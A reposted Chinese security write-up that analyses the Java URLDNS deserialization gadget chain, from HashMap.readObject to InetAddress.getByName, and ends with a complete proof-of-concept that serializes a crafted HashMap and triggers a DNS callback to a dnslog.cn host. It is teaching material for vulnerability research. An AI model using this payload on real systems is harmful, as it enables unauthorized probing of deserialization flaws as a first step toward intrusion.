【java安全】urldns反序列化利用链分析

admin 2026-03-18 21:08:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析了JavaURLDNS反序列化利用链,核心在于HashMap反序列化时重算键哈希值触发URL对象的DNS解析。文章跟踪了从HashMap.readObject到InetAddress.getByName的调用链,强调了利用反射修改hashCode值为-1以确保触发解析的关键技巧,并提供了完整POC代码与调试过程,展示了构造恶意数据验证漏洞的方法。 综合评分: 80 文章分类: 漏洞分析,漏洞POC,WEB安全


cover_image

【java安全】urldns反序列化利用链分析

原创

仰恩网安校队 仰恩网安校队

GET不到的FLAG

2026年3月11日 21:45 福建

urldns反序列化利用链

原理概述

URLDNS 链的核心逻辑是:利用 java.util.HashMap 在反序列化时会重新计算 Key 的 HashCode 这一特性,触发 java.net.URL 对象的 DNS 解析行为。

代码分析

HashMap.java

// HashMap.java
privatevoidreadObject(ObjectInputStreams) throwsIOException, ClassNotFoundException {
    // ... 省略初始化代码 ...
&nbsp; &nbsp;&nbsp;for&nbsp;(inti=0;&nbsp;i<mappings;&nbsp;i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Kkey=&nbsp;(K)&nbsp;s.readObject();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Vvalue=&nbsp;(V)&nbsp;s.readObject();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;putVal(hash(key),&nbsp;key,&nbsp;value,&nbsp;false,&nbsp;false);&nbsp;// 关键调用
&nbsp; &nbsp; }
}

这里定义了一个私有方法readObject,然后来到这里的for循环。根据序列化数据中记录的键值对数量(mappings),开始循环。从字节流中调用反序列化方法,还原出原本存储的“键(Key)”对象。接着从字节流中还原出对应的“值(Value)”对象。

hash(key):调用 HashMap 内部的 hash 函数,计算这个 key(也就是我们的 URL 对象)的哈希值,从而决定它该放在数组的哪个位置。

putVal(…):拿到算好的哈希地址后,将刚才读取的 key 和 value 放入 HashMap 的内部存储结构(数组/链表)中。

跟进hash函数

staticfinalinthash(Objectkey) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;inth;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(key==null)&nbsp;?0&nbsp;: (h=key.hashCode())&nbsp;^&nbsp;(h>>>16);
&nbsp; &nbsp; }

在这里中我们key是url类,从而触发后面的漏洞

在构造恶意数据时,存入 HashMap 的键(Key)是一个 java.net.URL 类型的对象。根据 Java 的多态机制,当 key 指向的是 URL 实例时,key.hashCode() 就会去执行 URL 类里面定义的 hashCode 方法。

我们来到url类的hashCode方法

publicsynchronizedinthashCode() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hashCode!=-1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnhashCode;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;hashCode=handler.hashCode(this);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnhashCode;
&nbsp; &nbsp; }

public synchronized int hashCode() { 这是一个同步的公共方法,用于计算当前 URL 对象的哈希值。

if (hashCode != -1) return hashCode; 如果 hashCode 字段的值不等于 -1,则直接返回这个值,不再重复计算。

hashCode = handler.hashCode(this); 将计算哈希的任务委托给 handler(URLStreamHandler 对象)处理,并将返回的结果赋值给 hashCode 变量。

return hashCode; 返回计算好的哈希值。

这里有一个 hashCode 属性。

如果它**不等于 -1,说明之前计算过,直接返回缓存值(不会触发解析)。

如果它**等于 -1,则调用 handler.hashCode(this)。

这就是为什么我们在构造 Payload 时,必须用反射将 hashCode 强行改为 -1 的原因。

同时在上面这段代码中可能会有疑惑:hashCode()和handler.hashCode(this)的hashCode是不是一样的?

答案是:不是

可以从这两张图看出这两个函数虽然长得一样,但不是同一个类。我们继续跟第二个hashCode

protectedinthashCode(URLu) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;inth=0;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Generate the protocol part.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringprotocol=u.getProtocol();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(protocol!=null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=protocol.hashCode();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Generate the host part.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InetAddressaddr=getHostAddress(u);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(addr!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=addr.hashCode();
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringhost=u.getHost();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(host!=null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=host.toLowerCase().hashCode();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Generate the file part.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringfile=u.getFile();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(file!=null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=file.hashCode();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Generate the port part.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(u.getPort()&nbsp;==-1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=getDefaultPort();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=u.getPort();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Generate the ref part.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringref=u.getRef();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ref!=null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=ref.hashCode();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnh;
&nbsp; &nbsp; }

关键代码:

InetAddressaddr=getHostAddress(u);&nbsp;// 尝试将域名解析为 IP
if&nbsp;(addr!=null) {
&nbsp; &nbsp;&nbsp;h+=addr.hashCode();&nbsp;// 使用 IP 参与运算
}&nbsp;else&nbsp;{
&nbsp; &nbsp;&nbsp;// 如果解析失败,才使用原始的 Host 字符串
&nbsp; &nbsp;&nbsp;Stringhost=u.getHost();
&nbsp; &nbsp;&nbsp;if&nbsp;(host!=null)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;h+=host.toLowerCase().hashCode();
}

在这里传入的u会被通过 getHostAddress 去解析域名,只要解析成功,就会触发一次 DNS 请求。

接着回到url.java,最终出发点出来了

synchronizedInetAddressgetHostAddress() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hostAddress!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnhostAddress;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(host==null||host.isEmpty()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;hostAddress=InetAddress.getByName(host);
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(UnknownHostException|SecurityExceptionex) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnhostAddress;
&nbsp; &nbsp; }

可能有人会问,为什么上一秒还在URLStreamHandler.java的getHostAddress()函数,下一秒到url.java来了

我们打个断点看看

断点 1:你先在 URLStreamHandler.hashCode(URL u) 里停住。

触发点:你按 F7(Step Into)进入下一行代码。

转场:光标直接跳进了 URL.getHostAddress() 方法中。

这就是因为 u.getHostAddress() 这个方法调用,直接把控制权从 URLStreamHandler 交给了 URL 对象内部。

走到现在,urldns反序列化链分析已经顺利完成,以下是复现poc。

复现

#

importjava.io.*;
importjava.lang.reflect.Field;
importjava.net.URL;
importjava.net.URLConnection;
importjava.net.URLStreamHandler;
importjava.util.HashMap;

publicclassURLdns&nbsp;{
&nbsp; &nbsp;&nbsp;publicstaticvoidmain(String[]&nbsp;args)&nbsp;throwsException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 1. 准备 DNSLog 地址(请去 dnslog.cn 获取你自己的地址)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringdnsLogUrl="http://0b12dc.dnslog.cn";

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 构造一个静默的 Handler,防止在 put 到 HashMap 时本地触发 DNS 请求
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;URLStreamHandlerhandler=newURLStreamHandler() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;protectedURLConnectionopenConnection(URLu) {&nbsp;returnnull; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;protectedsynchronizedjava.net.InetAddressgetHostAddress(URLu) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; };

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 实例化 HashMap 和 URL 对象
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HashMap<URL,&nbsp;String>ht=newHashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;URLu=newURL(null,&nbsp;dnsLogUrl,&nbsp;handler);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 将 URL 放入 HashMap
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ht.put(u,&nbsp;"test");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 5. 【核心】通过反射将 hashCode 改回 -1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只有是 -1,反序列化时受害者才会重新计算 hash 从而触发 DNS 请求
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class<?>clazz=Class.forName("java.net.URL");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fieldfield=clazz.getDeclaredField("hashCode");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;field.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;field.set(u,&nbsp;-1);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 6. 序列化:将对象写入文件 out.ser
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;System.out.println("正在序列化对象到文件...");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("out.ser"));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;oos.writeObject(ht);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;oos.close();

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 7. 反序列化:模拟受害者读取文件(触发点)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;System.out.println("正在反序列化对象,请观察 DNSLog...");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectInputStreamois=newObjectInputStream(newFileInputStream("out.ser"));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ois.readObject();&nbsp;// 此时代码内部会一步步走到 DNS 解析
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ois.close();
&nbsp; &nbsp; }
}

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:GET不到的FLAG 仰恩网安校队 仰恩网安校队《【java安全】urldns反序列化利用链分析》

评论:0   参与:  0